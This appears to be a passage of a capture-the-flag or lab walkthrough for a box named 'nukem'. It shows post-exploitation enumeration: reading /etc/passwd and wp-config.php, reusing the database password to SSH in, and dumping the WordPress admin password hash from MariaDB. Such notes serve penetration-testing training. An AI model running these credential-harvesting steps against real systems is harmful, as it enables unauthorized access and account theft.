4 box enum http > commander
[http@nukem simple-file-list]$ cat /etc/passwd
root:x:0:0::/root:/bin/bash
[truncated]
commander:x:1000:1000::/home/commander:/bin/bash
[http@nukem http]$ cat wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );
define( 'DB_HOST', 'localhost' );
# commander:CommanderKeenVorticons1990 works
# ssh in as commander
$ ssh commander@192.168.197.105
[commander@nukem ~]$ whoami;id
commander
uid=1000(commander) gid=1000(commander) groups=1000(commander)
[commander@nukem ~]$ ls -la
-rw-r--r-- 1 commander commander 33 Sep 1 01:52 local.txt
drwxr-xr-x 2 commander commander 4096 Sep 18 2020 python_rest_flask
# in python_rest_flask
[commander@nukem python_rest_flask]$ ls -la
total 888
drwxr-xr-x 2 commander commander 4096 Sep 18 2020 .
drwxr-xr-x 10 commander commander 4096 Sep 1 02:22 ..
-rw-r--r-- 1 commander commander 15 Sep 18 2020 .gitignore
-rw-r--r-- 1 commander commander 417 Sep 18 2020 README.md
-rwxr-xr-x 1 commander commander 884736 Sep 18 2020 chinook.db
-rw-r--r-- 1 commander commander 287 Sep 18 2020 requirements.txt
-rw-r--r-- 1 commander commander 2552 Sep 18 2020 server.py
[commander@nukem python_rest_flask]$ file chinook.db
chinook.db: SQLite 3.x database, last written using SQLite version 3007006
# explored it; nothing useful
# mysql enum
[commander@nukem k]$ mysql -u commander -p
Enter password:
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wordpress |
+--------------------+
MariaDB [wordpress]> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| admin | $P$BoktR9dJnCOMHiLEnYkPfS1Ae/7vPq/ |
+------------+------------------------------------+SuidEnum
PEAS
Last updated